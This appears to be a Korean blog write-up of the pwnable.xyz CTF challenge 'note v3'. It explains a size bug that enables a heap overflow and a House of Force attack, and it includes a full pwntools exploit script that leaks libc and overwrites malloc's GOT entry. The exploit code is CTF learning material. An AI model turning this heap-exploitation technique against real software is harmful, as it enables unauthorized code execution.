본문으로 바로가기

pwnable.xyz / note v3

category Wargame/pwnable.xyz 2020. 5. 11. 16:47

 

make_note에 버그가 있다.

 

  printf("Size: ");
  size = readint();
  note = (note *)malloc(size + 0x10);
  title = (char *)malloc(0x20uLL);

  if ( !note || !title )
  {
    puts("Error");
    exit(1);
  }

  printf("Title: ");
  read(0, title, 0x20uLL);
  note->title = title;
  printf("Note: ");
  note->note_size = read(0, note->note, size);
  notes[i] = note;

 

readint는 내부에서 read로 문자열을 입력받고 strtoull 함수를 사용한다. size에 -1을 넣으면 read의 인자로 들어가는 size는 0xFFFFFFFFFFFFFFFF이 되고, size가 매우 커서 read에서 -1를 리턴해 note_size에는 0xFFFFFFFF가 들어간다. 이후 note를 수정해 heap overflow를 유발할 수 있다.

 

note free하는 루틴이 없기 때문에 House of Force로 풀면 된다. (House of Orange도 가능할 것 같은데 이 기법은 공부를 아직 깊게 하지 않아서 잘 모르겠다.)

 

1. title 주소를 &strtoull@got (0x601240) 으로 바꿔서 libc 주소를 leak 한다.

2. title 주소를 &(main_arena.top) 으로 바꿔서 top chunk 주소를 leak 한다.

3. &malloc@got - main_arena.top - 0x30 을 size로 넣어서 malloc을 트리거하면 title 포인터는 &malloc@got 값을 들고 있게 된다. title에 win 주소를 쓰면 malloc의 GOT를 덮을 수 있다.

4. make_note를 다시 실행해 win을 실행한다.

 

main_arena offset은 이 도구를 사용해서 찾았다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from typing import *
import argparse


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def MakeNote(size:inttitle:bytesnote:bytes) :
    p.writeafter(b'> 'b'1\x00')
    p.writeafter(b': 'str(size).encode()+b'\x00')
    p.writeafter(b': ', title)
    p.writeafter(b': ', note)

def EditNote(idx:intdata:bytes) :
    p.writeafter(b'> 'b'2\x00')
    p.writeafter(b': 'str(idx).encode()+b'\x00')
    p.writeafter(b': ', data)

def ListNote() -> List[Tuple[bytesbytes]] :
    p.writeafter(b'> 'b'3\x00')
    notes = []

    while True :
        data = p.readline(keepends=False)

        if data == b'Menu:' :
            break

        assert(b': ' in data)
        t = data.split(b': ')
        notes.append((t[0], t[1]))

    return notes

def exploit() :
    strtoull_got = 0x601240
    malloc_got = 0x601250

    MakeNote(-1b'A'b'')
    MakeNote(-1b'B'b'')

    payload = p64(0) + p64(0x31)
    payload += b'A'*0x20
    payload += p64(0) + p64(0x21)
    payload += p32(0xFFFFFFFF) + p32(0)
    payload += p64(strtoull_got)

    EditNote(0, payload)

    libc_strtoull = u64(ListNote()[1][0].ljust(8b'\x00'))
    libc_base = libc_strtoull - 0x37EF0
    libc_main_arena = libc_base + 0x393640
    log_info('strtoull = '+hex(libc_strtoull))
    log_info('libc base: '+hex(libc_base))
    log_info('main_arena = '+hex(libc_main_arena))

    payload = p64(0) + p64(0x31)
    payload += b'A'*0x20
    payload += p64(0) + p64(0x21)
    payload += p32(0xFFFFFFFF) + p32(0)
    payload += p64(libc_main_arena+0x58)   # (&main_arena)->top

    EditNote(0, payload)

    heap_top = u64(ListNote()[1][0].ljust(8b'\x00'))
    log_info('top chunk: '+hex(heap_top))

    payload = p64(0) + p64(0x31)
    payload += b'A'*0x20
    payload += p64(0) + p64(0xFFFFFFFFFFFFFFFF)

    EditNote(1, payload)
    MakeNote((malloc_got-heap_top-0x30) & 0xFFFFFFFFFFFFFFFF, p64(0x4008A2), b'')
    p.writeafter(b'> 'b'1\x00')
    p.writeafter(b': 'b'A')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30041fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/11/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / knum  (0) 2020.05.22
pwnable.xyz / PvE  (0) 2020.05.12
pwnable.xyz / world  (0) 2020.05.11
pwnable.xyz / door  (0) 2020.05.06
pwnable.xyz / child  (0) 2020.05.06